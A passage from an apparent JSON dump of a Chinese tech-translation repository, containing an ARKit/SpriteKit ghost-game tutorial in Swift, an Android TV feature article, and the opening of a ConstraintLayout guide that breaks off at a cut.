仍然是在测试版本，所以你要先加入到[苹果开发者计划](https://developer.apple.com/programs/)，不过苹果现在也向公众发布了免费的开发者账号。你可以在[这里](https://9to5mac.com/2017/06/26/how-to-install-ios-11-public-beta-on-your-eligible-iphone-ipad-or-ipod-touch/)找到更多关于安装 iOS 11 beta 的信息和[这里](https://developer.apple.com/download/)找到关于安装 Xcode beta 的信息。\n\n为了避免之后版本的改动，这个应用的教程是通过 Xcode beta 2 来构建的。\n在这个游戏中，我们需要表示幽灵的图片和它被移除时的音效。[OpenGameArt.org](https://opengameart.org) 是一个非常棒的获取免费游戏资源的网站。我选了这个[幽灵图片](https://opengameart.org/content/ghosts) 和这个[幽灵音效](https://opengameart.org/content/ghost)，当然你也可以用任何你想要用的文件。\n\n## 新建项目\n\n打开 Xcode 9 并且新建一个 AR 应用：\n\n![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-01-createProject.png)\n\n输入项目的信息，选择 Swift 作为开发语言并把 SpriteKit 作为内容技术，接着创建项目：\n\n![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-01-createProject2.png)\n\n目前 AR 不能够在 iOS 模拟器上测试，所以我们需要在真机上进行测试。为此，我们需要开发者账号来注册我们的应用。如果暂时没有的话，把你的开发账号添加到 Xcode 上并且选择你的团队来注册你的应用：\n\n![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-02-developmentTeam-774x600.png)\n\n如果你没有一个付过费的开发者账号的话，你会有一些限制，比如你每七天只能够创建 10 个 App ID 而且你不能够在你的设备上安装超过 3 个以上的应用。\n\n在你第一次在你的设备上安装应用的时候，你可能会被要求信任设备上的证书，就跟着下面的指导：\n![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-03-Trust.png)\n\n就像这样，当应用运行的时候，你会被请求给予摄像头权限：\n\n![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-07-camera-permission.png)\n\n之后，在你触摸屏幕的时候，一个新的精灵会被加到场景上去，并且根据摄像头的角度来调整位置。\n\n[![](https://i.ytimg.com/vi_webp/NyIHEM69skU/maxresdefault.webp)](https://www.youtube.com/watch?v=NyIHEM69skU)\n\n现在这个项目已经搭建完成了，让我们来看下代码吧。\n\n## SpriteKit 如何和 ARKit 一起工作\n\n如果你打开 `Main.storyboard`，你会发现有个 [ARSKView](https://developer.apple.com/documentation/arkit/arskview) 填满了整个屏幕：\n![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-04-storyboard-836x600.png)\n\n这个视图将来自设备摄像头的实时视频，渲染为场景的背景，将 2D 的图片(以 SpriteKit 的节点)加到 3D 的空间中( 以 [ARAnchor](https://developer.apple.com/documentation/arkit/aranchor) 对象)。当你移动设备的时候，这个视图会根据锚点（ `ARAnchor` 对象）自动旋转和缩放这个图像( SpriteKit 节点)，所以他们看上去就像是通过摄像头跟踪的真实的世界。\n\n这个界面是通过 `ViewController.swift` 这个类来管理的。首先，在 `viewDidLoad` 方法中，它打开了界面的一些调试选项，然后通过这个自动生成的场景 `Scene.sks` 来创建 SpriteKit 场景：\n\n```\n    override func viewDidLoad() {\n      super.viewDidLoad()\n\n      // 设置视图的代理\n      sceneView.delegate = self\n\n      // 展示数据，比如 fps 和节点数\n      sceneView.showsFPS = true\n      sceneView.showsNodeCount = true\n\n      // 从 'Scene.sks' 加载 SKScene\n      if let scene = SKScene(fileNamed: \"Scene\") {\n        sceneView.presentScene(scene)\n      }\n    }\n```\n\n接着，`viewWillAppear` 方法通过 [ARWorldTrackingSessionConfiguration](https://developer.apple.com/documentation/arkit/arworldtrackingsessionconfiguration) 类来配置这个会话。这个会话（ [ARSession](https://developer.apple.com/documentation/arkit/arsession) 对象）负责管理创建 AR 体验所需要的运动追踪和图像处理：\n\n```\n    override func viewWillAppear(_ animated: Bool) {\n      super.viewWillAppear(animated)\n\n      // 创建会话配置\n      let configuration = ARWorldTrackingSessionConfiguration()\n\n      // 运行视图的会话\n      sceneView.session.run(configuration)\n    }\n```\n\n你可以用 `ARWorldTrackingSessionConfiguration` 类来配置该会话通过[六个自由度(6DOF)](https://en.wikipedia.org/wiki/Six_degrees_of_freedom)中追踪物体的移动。三个旋转角度：\n\n- Roll，在 X-轴 的旋转角度\n- Pitch，在 Y-轴 的旋转角度\n- Yaw，在 Z-轴 的旋转角度\n\n和三个平移值：\n- Surging，在 X-轴 上向前向后移动。\n- Swaying，在 Y-轴 上左右移动。\n- Heaving，在 Z-轴 上上下移动。\n\n或者，你也可以用 [ARSessionConfiguration](https://developer.apple.com/documentation/arkit/arsessionconfiguration) ，它提供了 3 个自由度，支持低性能设备的简单运动追踪。\n\n往下几行，你会发现这个方法 `view(_ view: ARSKView, nodeFor anchor: ARAnchor) -> SKNode?` 。当一个锚点被添加的时候，这个方法为即将添加到场景上的锚点提供了一个自定义节点。在当前的情况下，它会返回一个 [SKLabelNode](https://developer.apple.com/documentation/spritekit/sklabelnode) 来展示这个面向用户的 emoji ：\n\n```\n    func view(_ view: ARSKView, nodeFor anchor: ARAnchor) -> SKNode? {\n      // 为加上视图会话的锚点增加和配置节点\n      let labelNode = SKLabelNode(text: \"👾\")\n      labelNode.horizontalAlignmentMode = .center\n      labelNode.verticalAlignmentMode = .center\n      return labelNode;\n    }\n```\n\n但是这个锚点什么时候创建的呢？\n\n它是在 `Scene.swift` 文件中完成的，在这个管理 Sprite 场景（`Scene.sks`）的类中，特别地，这个方法中：\n\n```\n    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {\n      guard let sceneView = self.view as? ARSKView else {\n        return\n      }\n\n      // 通过摄像头当前的位置创建锚点\n      if let currentFrame = sceneView.session.currentFrame {\n        // 创建一个往摄像头前面平移 0.2 米的转换\n        var translation = matrix_identity_float4x4\n        translation.columns.3.z = -0.2\n        let transform = simd_mul(currentFrame.camera.transform, translation)\n\n        // 在会话上添加一个锚点\n        let anchor = ARAnchor(transform: transform)\n        sceneView.session.add(anchor: anchor)\n      }\n    }\n```\n\n就像你从注释中可以看到的，它通过摄像头当前的位置创建了一个锚点，然后新建了一个矩阵来把锚点定位在摄像头前 0.2m 处，并把它加到场景中。\n\nARAnchor 使用一个 [4×4 的矩阵](https://developer.apple.com/documentation/scenekit/scnmatrix4) 来代表和它相对应的对象在一个三维空间中的位置，角度或者方向，和缩放。\n\n在 3D 编程的世界里，矩阵用来代表图形化的转换比如平移，缩放，旋转和投影。通过矩阵的乘法，多个转换可以连接成一个独立的变换矩阵。\n\n这是一篇关于[转换背后的数学](http://ronnqvi.st/the-math-behind-transforms/)很好的博文。同样的，在[核心动画指南中关于操作 3D 界面中层级一章](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreAnimation_guide/CoreAnimationBasics/CoreAnimationBasics.html#//apple_ref/doc/uid/TP40004514-CH2-SW18) 中你也可以找到一些常用转换的矩阵配置。\n\n回到代码中，我们以一个特殊的矩阵开始（`matrix_identity_float4x4`）：\n\n```\n1.0   0.0   0.0   0.0  // 这行代表 X\n0.0   1.0   0.0   0.0  // 这行代表 Y\n0.0   0.0   1.0   0.0  // 这行代表 Z\n0.0   0.0   0.0   1.0  // 这行代表 W\n```\n\n>  如果你想知道 W 是什么：\n>\n>  如果 w == 1，那么这个向量 (x, y, z, 1) 是空间中的一个位置。\n> \n>  如果 w == 0，那么这个向量 (x, y, z, 0) 是一个方向。 \n>\n> [http://www.opengl-tutorial.org/beginners-tutorials/tutorial-3-matrices/](http://www.opengl-tutorial.org/beginners-tutorials/tutorial-3-matrices/)\n\n接着，Z-轴列的第三个值改为了 -0.2 代表着在这个轴上有平移（负的 z 值代表着把对象放置到摄像头之前）。\n如果你这个时候打印了平移矩阵值的话，你会看见它打印了一个向量数组，每个向量代表了一列。\n\n```\n[ [1.0, 0.0,  0.0, 0.0 ],\n  [0.0, 1.0,  0.0, 0.0 ],\n  [0.0, 0.0,  1.0, 0.0 ],\n  [0.0, 0.0, -0.2, 1.0 ]\n]\n```\n\n这样子可能看起来更简单一点：\n\n```\n0     1     2     3    // 列号\n1.0   0.0   0.0   0.0  // 这一行代表着 X\n0.0   1.0   0.0   0.0  // 这一行代表着 Y\n0.0   0.0   1.0  -0.2  // 这一行代表着 Z\n0.0   0.0   0.0   1.0  // 这一行代表着 W\n```\n\n\n接着，这个矩阵会乘上当前摄像头帧的平移矩阵得到最后用来放置新锚点的矩阵。举个例子，假设是如下的相机转换矩阵（以一个列的数组的形式）：\n\n```\n[ [ 0.103152, -0.757742,   0.644349, 0.0 ],\n  [ 0.991736,  0.0286687, -0.12505,  0.0 ],\n  [ 0.0762833, 0.651924,   0.754438, 0.0 ],\n  [ 0.0,       0.0,        0.0,      1.0 ]\n]\n```\n\n那么相乘的结果将是：\n\n```\n[ [0.103152,   -0.757742,   0.644349, 0.0 ],\n  [0.991736,    0.0286687, -0.12505,  0.0 ],\n  [0.0762833,   0.651924,   0.754438, 0.0 ],\n  [-0.0152567, -0.130385,  -0.150888, 1.0 ]\n]\n```\n\n这里是关于[矩阵如何相乘](https://www.mathsisfun.com/algebra/matrix-multiplying.html)的更多信息，这是一个[矩阵乘法计算器](http://matrix.reshish.com/multiplication.php)。\n\n现在你知道这个例子是如何工作的了，让我们修改它来创建我们的游戏吧。\n\n## 构建 SpriteKit 的场景\n\n在 Scene.swift 的文件中，让我们加上如下的配置：\n\n```\n    class Scene: SKScene {\n\n      let ghostsLabel = SKLabelNode(text: \"Ghosts\")\n      let numberOfGhostsLabel = SKLabelNode(text: \"0\")\n      var creationTime : TimeInterval = 0\n      var ghostCount = 0 {\n        didSet {\n          self.numberOfGhostsLabel.text = \"\\(ghostCount)\"\n        }\n      }\n      ...\n    }\n```\n\n我们增加了两个标签，一个代表了场景中的幽灵的数量，控制幽灵产生的时间间隔，和幽灵的计数器，它有个属性观察器，每当它的值变化的时候，标签就会更新。\n\n接下来，下载幽灵移除时播放的音效，并把它拖到项目中：\n\n![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-06-addImages-1.gif)\n\n把下面这行加到类里面：\n\n```\nlet killSound = SKAction.playSoundFileNamed(\"ghost\", waitForCompletion: false)\n```\n\n我们稍后调用这个动作来播放音效。\n\n在 `didMove` 方法中，我们把标签加到场景中：\n\n```\n    override func didMove(to view: SKView) {\n      ghostsLabel.fontSize = 20\n      ghostsLabel.fontName = \"DevanagariSangamMN-Bold\"\n      ghostsLabel.color = .white\n      ghostsLabel.position = CGPoint(x: 40, y: 50)\n      addChild(ghostsLabel)\n\n      numberOfGhostsLabel.fontSize = 30\n      numberOfGhostsLabel.fontName = \"DevanagariSangamMN-Bold\"\n      numberOfGhostsLabel.color = .white\n      numberOfGhostsLabel.position = CGPoint(x: 40, y: 10)\n      addChild(numberOfGhostsLabel)\n    }\n```\n\n你可以用像 [iOS Fonts](http://iosfonts.com/) 的站点来可视化的选择标签的字体。\n\n这个位置坐标代表着屏幕左下角的部分（相关代码稍后会解释）。我选择把它们放在屏幕的这个区域是为了避免转向的问题，因为场景的大小会随着方向改变而变化，但是，坐标保持不变，会引起标签显示超过屏幕或者在一些奇怪的位置（可以通过重写 `didChangeSize` 方法或者使用 [UILabels](https://developer.apple.com/documentation/uikit/uilabel) 替换 [SKLabelNodes](https://developer.apple.com/documentation/spritekit/sklabelnode) 来解决这一问题）。\n\n现在，为了在固定的时间间隔创建幽灵，我们需要一个定时器。这个更新方法会在每一帧（平均 60 次每秒）渲染之前被调用，可以像下面这样帮助我们：\n\n\n```\n    override func update(_ currentTime: TimeInterval) {\n      // 在每一帧渲染之前调用\n      if currentTime > creationTime {\n        createGhostAnchor()\n        creationTime = currentTime + TimeInterval(randomFloat(min: 3.0, max: 6.0))\n      }\n    }\n```\n\n参数 `currentTime` 代表着当前应用中的时间，所以如果它大于 `creationTime` 所代表的时间，一个新的幽灵锚点会创建， `creationTime` 也会增加一个随机的秒数，在这个例子里面，是在 3 到 6 秒。\n\n这是 `randomFloat` 的定义：\n\n```\n    func randomFloat(min: Float, max: Float) -> Float {\n      return (Float(arc4random()) / 0xFFFFFFFF) * (max - min) + min\n    }\n```\n\n在 `createGhostAnchor` 方法中，我们需要获取场景的界面：\n\n```\n    func createGhostAnchor(){\n      guard let sceneView = self.view as? ARSKView else {\n        return\n      }\n\n    }\n```\n\n接着，因为在接下来的函数中我们都要与弧度打交道，让我们先定义一个弧度的 360 度：\n\n```\n    func createGhostAnchor(){\n      ...\n\n      let _360degrees = 2.0 * Float.pi\n\n    }\n```\n\n现在，为了把幽灵放置在一个随机的位置，我们分别创建一个随机 X-轴旋转和 Y-轴旋转矩阵：\n\n```\n    func createGhostAnchor(){\n      ...\n\n       let rotateX = simd_float4x4(SCNMatrix4MakeRotation(_360degrees * randomFloat(min: 0.0, max: 1.0), 1, 0, 0))\n\n      let rotateY = simd_float4x4(SCNMatrix4MakeRotation(_360degrees * randomFloat(min: 0.0, max: 1.0), 0, 1, 0))\n\n    }\n```\n\n\n幸运的是，我们不需要去手动地创建这个旋转矩阵，有一些函数可以返回一个表示旋转，平移或者缩放的转换信息矩阵。\n\n在这个例子中，[SCNMatrix4MakeRotation](https://developer.apple.com/documentation/scenekit/1409686-scnmatrix4makerotation) 返回了一个表示旋转变换的矩阵。第一个参数代表了旋转的角度，要用弧度的形式。在这个表达式 `_360degrees * randomFloat(min: 0.0, max: 1.0)` 中得到一个在 0 到 360 度中的随机角度。\n\n剩下的 `SCNMatrix4MakeRotation` 的参数，代表了 X，Y 和 Z 轴各自的旋转，这就是为什么我们第一次调用的时候把 1 作为 X 的参数，而第二次的时候把 1 作为 Y 的参数。\n\n `SCNMatrix4MakeRotation` 的结果通过 `simd_float4x4` 结构体转换为一个 4x4 的矩阵。 \n\n>   如果你正在使用 Xcode 9 Beta 1 的话，你应该用 SCNMatrix4ToMat4 ，在 Xcode 9 Beta 2 中它被 simd_float4x4 替换了。 \n\n我们可以通过矩阵乘法来组合两个旋转矩阵：\n\n```\n    func createGhostAnchor(){\n      ...\n      let rotation = simd_mul(rotateX, rotateY)\n\n    }\n```\n\n接着，我们创建一个 Z-轴是 -1 到 -2 之间的随机值的转换矩阵。\n\n```\n    func createGhostAnchor(){\n      ...\n      var translation = matrix_identity_float4x4\n      translation.columns.3.z = -1 - randomFloat(min: 0.0, max: 1.0)\n\n    }\n```\n\n组合旋转和位移矩阵：\n\n```\n    func createGhostAnchor(){\n      ...\n      let transform = simd_mul(rotation, translation)\n\n    }\n```\n\n创建并把这个锚点加到该会话中：\n\n```\n    func createGhostAnchor(){\n      ...\n      let anchor = ARAnchor(transform: transform)\n      sceneView.session.add(anchor: anchor)\n\n    }\n```\n\n并且增加幽灵计数器：\n\n```\n    func createGhostAnchor(){\n      ...\n      ghostCount += 1\n    }\n```\n\n现在唯一剩下没有加的就是当用户触摸一个幽灵并移动它的代码。首先重写 `touchesBegan`  来获取到触摸的物体：\n\n```\n    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {\n      guard let touch = touches.first else {\n        return\n      }\n\n    }\n```\n\n接着获取该触摸在 AR 场景中的位置：\n\n```\n    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {\n      ...\n      let location = touch.location(in: self)\n\n    }\n```\n\n获取在该位置的所有节点：\n\n```\n    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {\n      ...\n      let hit = nodes(at: location)\n\n    }\n```\n\n获取第一个节点（如果有的话），检查这个节点是不是代表着一个幽灵（记住标签同样也是一个节点）：\n\n```\n    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {\n      ...\n      if let node = hit.first {\n        if node.name == \"ghost\" {\n\n        }\n      }\n    }\n```\n\n如果就这个节点的话，组合淡出和音效动作，创建一个动作序列并执行它，同时减小幽灵的计数器：\n\n```\n    override func touchesBegan(_ touches: Set<UITouch>, with event: UIEvent?) {\n      ...\n      if let node = hit.first {\n        if node.name == \"ghost\" {\n\n          let fadeOut = SKAction.fadeOut(withDuration: 0.5)\n          let remove = SKAction.removeFromParent()\n\n          // 组合淡出和音效动画\n          let groupKillingActions = SKAction.group([fadeOut, killSound])\n          // 创建动作序列\n          let sequenceAction = SKAction.sequence([groupKillingActions, remove])\n\n          // 执行动作序列\n          node.run(sequenceAction)\n\n          // 更新计数\n          ghostCount -= 1\n\n        }\n      }\n    }\n```\n\n到这里，我们的场景已经完成了，现在我们开始处理 `ARSKView` 的视图控制器。\n\n## 构建视图控制器\n\n在 viewDidLoad 中，不再加载 Xcode 为我们创建的场景，让我们通过这种方式来创建我们的场景：\n\n```\n    override func viewDidLoad() {\n      ...\n\n      let scene = Scene(size: sceneView.bounds.size)\n      scene.scaleMode = .resizeFill\n      sceneView.presentScene(scene)\n    }\n```\n\n这会确保我们的场景可以填满整个界面，甚至整个屏幕（在 `Main.storyboard` 中定义的 `ARSKView` 填满了整个屏幕）。这同样也有助于把游戏的标签定位在屏幕的左下角，根据场景中定义的位置坐标。\n\n现在，现在是时候添加幽灵图片了。在我的例子中，图片的格式原来是 SVG ，所以我转换到了 PNG ，并且为了简单起见，只加了图片中的前 6 个幽灵，创建了 2X 和 3X 版本（我没看见创建 1X 版本的地方，因此采用了缩放策略的设备不能够正常的运行这个应用）。\n\n把图片拖到 `Assets.xcassets` 中：\n\n![](https://blog.pusher.com/wp-content/uploads/2017/07/building-an-ar-game-with-arkit-and-spritekit-06-addImages.gif)\n\n注意图像名字最后的数字 - 这会帮我们随机选择一个图片创建 SpriteKit 节点。用这个替换 `view(_ view: ARSKView, nodeFor anchor: ARAnchor)` 中的代码：  \n\n```\n    func view(_ view: ARSKView, nodeFor anchor: ARAnchor) -> SKNode? {\n      let ghostId = randomInt(min: 1, max: 6)\n\n      let node = SKSpriteNode(imageNamed: \"ghost\\(ghostId)\")\n      node.name = \"ghost\"\n\n      return node\n    }\n```\n\n我们给所有的节点同样的名字 *ghost* ，所以在移除它们的时候我们可以识别它们。\n\n当然，不要忘了 randomInt 方法：\n\n```\n    func randomInt(min: Int, max: Int) -> Int {\n      return min + Int(arc4random_uniform(UInt32(max - min + 1)))\n    }\n```\n\n现在我们已经完成了所有工作！让我们来测试它吧！\n\n## 测试应用\n\n在真机上运行这个应用，赋予摄像头权限，并且开始在所有方向中寻找幽灵：\n\n[![](https://i.ytimg.com/vi_webp/0mmaLiuYAho/maxresdefault.webp)](https://www.youtube.com/embed/0mmaLiuYAho)\n\n每 3 到 6 秒就会出现一个新的幽灵，计数器也会更新，每当你击中一个幽灵的时候就会播放一个音效。\n\n试着让计数器归零吧！\n\n## 结论\n\n关于 ARKit 有两个非常棒的地方。第一是只需要几行代码我们就能创建神奇的 AR 应用，第二个，我们也能学习到 SpriteKit 和 SceneKit 的知识。 ARKit 实际上只有很少的量的类，更重要的是去学会如何运用上面提到的框架，而且稍加调整就能创造出 AR 体验。\n\n你可以通过增加游戏规则，引入奖励分数或者改变图像和声音来扩展这个应用。同样的，使用 [Pusher](https://pusher.com/)，你可以同步游戏状态来增加多人游戏的特性。\n\n记住你可以在这个 [GitHub 仓库](https://github.com/eh3rrera/ARKitGameSpriteKit)中找到 Xcode 项目。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n\n"
  },
  {
    "path": "TODO/building-for-the-future-of-tv-with-android.md",
    "content": "> * 原文地址：[Building for the future of TV with Android](https://medium.com/googleplaydev/building-for-the-future-of-tv-with-android-1f4916f3cc3e)\n> * 原文作者：[Rachel Berk](https://medium.com/@rachelberk?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-for-the-future-of-tv-with-android.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-for-the-future-of-tv-with-android.md)\n> * 译者：[JayZhaoBoy](https://github.com/JayZhaoBoy)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5), [LeeSniper](https://github.com/LeeSniper)\n\n# 利用 Android 构建 TV 的未来\n\n## 在大屏幕上吸引观众的新功能\n\n![](https://cdn-images-1.medium.com/max/800/0*JKnE3YVaPD7Kmj4o.)\n\n天气寒冷，假期也已经过去，这也是我一年中喜欢挤出点时间舒舒服服看电视的日子。我非常喜欢看 PBS（公共电视网）的 Great British Baking Show（英国烘焙大赛）；孩子和工作带来的混乱消失不见，我沉浸在 Viennese Whirls（维也纳饼干）的妙处之中。通过观看我的新 Android TV，我可以轻松找到上次观看的位置，通过智能助理，我可以知道暴风雪即将来临，然而我可以继续舒服的躺在我的沙发上捧着一杯热茶，观看参赛者们学习制作 Victorian Tennis Cake（维多利亚网球蛋糕）。\n\n抛开个人的观看喜好，作为 Android 和 Google Play 的业务开发经理，我与娱乐公司合作，确保那些受观众喜爱的内容可以在 Android TV 上访问、发现并共享。我们生活在媒体文艺复兴时代，优秀的节目比以往任何时候都多，人们希望能够随时随地以最佳体验观看他们想要的内容。在这个追剧的时代，Android TV 是一个**将大屏幕内容带给高价值用户的平台**。\n\n#### **为什么是 Android TV**\n\n在本周的消费电子展（CES）上，Android TV 正在成为焦点，展示了很多新的支持设备和功能。Android TV 的增长势头迅猛，每年新增用户翻番，并有望在 2018 年再翻一番。这一增长是全球范围内与具有前瞻性的 OEMs（代工厂）和运营商建立伙伴关系的成果，灵活的平台也意味着 Android 开发人员必须提供的最好的产品。\n\nAndroid TV 还有很多其他方面的优点，从可提供身临其境 4K 体验的高端索尼电视到可提供一流观看功能的 Nvidia Shield（神盾掌机）媒体播放器。目前，前十大机顶盒 OEMs（代工厂）中有 8 家以及 14 个国家的 20 家运营商为 Android TV 提供服务。鉴于这种全球影响力和多种价位的机型，Android TV 吸引了全球各种不同需求的观众。\n\n#### **在客厅与你的高价值用户来一场电视派对**\n\nAndroid TV 吸引了很多高参与度的用户，其中 87% 每天都在活跃。推动这种互动的应用，**平均每个设备安装  15  个**。\n\n令人惊讶的是，在 [Netflix](https://play.google.com/store/apps/details?id=com.netflix.ninja) 中，新用户可能会在移动或台式机设备上注册该服务，但 2/3 的时间是在电视上观看。因此，构建身临其境的电视体验是保留这些用户的重要手段。\n\nAndroid TV 不仅增加观看时间，还会创建更具粘性的用户。去年 11 月，通过 Showtime（Showtime 电视网）Android TV App 订阅者的免费试用转化率是 Android 手机的两倍。总体而言，Android TV 用户的使用期限比通过 Android 手机购买的用户长 2 倍。那些在具有前瞻性、智能的 Android TV 上体验他们最喜欢的节目的人将更加倾向于他们的订阅和整个平台。\n\n#### **用 Android TV 追剧**\n\n即使对于没有通过订阅获利的应用，在 Android TV 也可以吸引用户。平均而言，每月电视应用程序在 Android TV 上观看时间是移动设备上的 1.8-3 倍，假如带有 O（Android 8.0）的新功能，例如实时预览，这些参与率甚至更高。\n\n#### **Android O（Android 8.0）具备那些新的功能?**\n\nGoogle 智能助理在秋季跨平台延伸开始支持 Android TV。会话助理让人们更深入地了解他们所知道和喜爱的内容，并发现新的内容。Android TV 助理使发现新内容和导航变得轻松。用户可以使用诸如「回放五分钟」或「播放下一集」之类的命令来控制电视，或者跨应用搜索内容。此外，Android TV 现在可以作为客厅支点，让人们控制他们的物联网设备（「将灯光转换为电影模式」）或访问第三方服务（「从必胜客下单购买我最喜欢的披萨」）。对于真正的娱乐鉴赏家来说，助理可以充当你无所不知的影迷伙伴，回答与之相关的问题，例如「卢克天行者在什么星球上崛起的？」。\n\nAndroid O（Android 8.0）在 Android TV 上重新设计了主屏幕。在新的主屏幕上，内容最先显示，用户只需点击一下即可访问最关心的内容。现在 Android TV 提供了简单直观的浏览和功能，允许进行私人订制。随着这些变化，用户的留存，参与和再次参与成为了设计的基础。\n\n#### **让我们仔细看看**\n\n![](https://cdn-images-1.medium.com/max/800/0*hRzwddXzRxFEv0Qf.)\n\n一个新的简化的安装流程允许用户轻松地找到并下载他们使用和喜爱的应用程序。\n\n![](https://cdn-images-1.medium.com/max/800/0*YrKrm9bPgH3lb8FX.)\n\n借助基于频道的内容优先的用户界面，用户可以轻松查看和访问他们想要观看的节目。在屏幕的顶部，观看者可以部署助理进行简单的搜索，而在其下方有一个「最喜欢的应用」行，以及「观看下一个」选项。\n\n随着你向下移动屏幕，你会看到多行「频道」。这些频道是新主屏幕设计的关键部分。通过对这些频道进行编排，可以定位到目标人群他们想要欣赏的内容。你现在可以完全控制频道中推广的内容，节目的顺序，内容元数据以及频道的名称和品牌。\n\n而且，这不仅限于一个频道，内容创作者可以根据特定的用户兴趣构建和编排更多频道。举个例子，你可以创建一个假日或漫威英雄频道，又或者是一个新的，原创的节目。\n\n![](https://cdn-images-1.medium.com/max/800/0*LKeruUoA-R_lmvRY.)\n\n最后，新的 Android TV 用户界面具有当节目获取焦点时播放视频预览的功能。在这些预览中，你可以选择包含直播电视，预告片或 VOD 剪辑。早期的数据表明，这些预览非常引人注目，它会激励人们点击查看详细内容。\n\n#### **使用单个 APK 可轻松构建 Android TV**\n\nAndroid TV 应用使用与移动设备相同的体系结构，因此可以轻松将现有的 Android APK 扩展到 Android TV 上。通常情况下，开发人员仅依靠一个 APK 来适配移动和电视平台。Android 资源系统在处理不同的屏幕尺寸和布局时提供了巧妙的解决方案，并且通过使用 leanback 库开发人员可以构建用于首播内容体验的自定义 UI。\n\n我希望我分享的关于 Android TV 最新功能的见解将帮助你为观众创建更具吸引力的内容。你也可以 [发现更多内容](https://developer.android.com/training/tv/index.html) 帮助你制作出一流的 Android TV 应用程序，以便在未来几年内吸引并留住高价值的用户。把握 Android TV 的未来就在现在！\n\n* * *\n\n### 你怎么看?\n\n您有关于 Android TV 最新更新的想法吗？可以通过在下面的评论或使用 **＃AskPlayDev** 发一条推特，我们会通过 [@GooglePlayDev](http://twitter.com/googleplaydev)回复，我们经常分享有关如何在 Google Play 上取得成功的信息和技巧。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/building-interfaces-with-constraintlayout.md",
    "content": "> * 原文地址：[Building interfaces with ConstraintLayout\n](https://medium.com/google-developers/building-interfaces-with-constraintlayout-3958fa38a9f7#.avb3mafbz)\n* 原文作者：[Wojtek Kaliciński](https://medium.com/@wkalicinski)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Mark](https://github.com/marcmoore)、[PhxNirvana](https://github.com/phxnirvana)\n\n# 使用约束控件创建界面\n\n[![](https://i.embed.ly/1/image?url=https%3A%2F%2Fi.ytimg.com%2Fvi%2FXamMbnzI5vE%2Fhqdefault.jpg&key=4fce0568f2ce49e8b54624ef71a8a5bd)](https://www.youtube.com/embed/XamMbnzI5vE?list=PLWz5rJ2EKKc_w6fodMGrA1_tsI3pqPbqa&listType=playlist&wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F0a3cece4e79cc61b0f04ea610e0d2c12%3FpostId%3D3958fa38a9f7&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1\n)\n\n如果你是刚刚接触约束控件——支持库中与 Android Studio 2.2 可视化 UI 编辑器紧密结合的新布局——我建议首先观看上面的介绍视频或者浏览我们的[代码库](https://codelabs.developers.google.com/codelabs/constraint-layout/#0)。\n\n视频和代码库简明扼要地介绍了布局编辑器中的一些处理方式、约束和 UI 控制的基本概念，了解这些有助于你快速在可见的方式下搭建界面。\n\n本文中，我将着重讲解最近在 Android Studio 2.3 (Beta) 中约束控件的新增内容：链条和比率，同时也会写一些普通约束控件中的一些建议和技巧。\n\n#### 链条\n\n创建链条是一项新的特性，让你能够沿着一个坐标轴（水平或垂直）布置组件，从概念上来看有点类似线性布局。在约束控件中的实现中，链条是一系列通过双向连接联系起来的组件。\n\n![](https://cdn-images-1.medium.com/max/1600/0*nnBhtpeHAkmPvfT7.)\n\n要想在视图编辑器中创建链条，你只需选择目标组件并右击，点击“Center views horizontally“（或“Center views vertically”）。\n\n![](https://cdn-images-1.medium.com/max/1600/0*GGOOXZi3nWsiVKgg.)\n\n这就在组件之间建立了必不可少的关联。此外，当你选择链条中任何一个元素时，都会出现一个新的按钮，你可以在三种链条模式之间切换：分布式（Spread）、内分布式（Spread 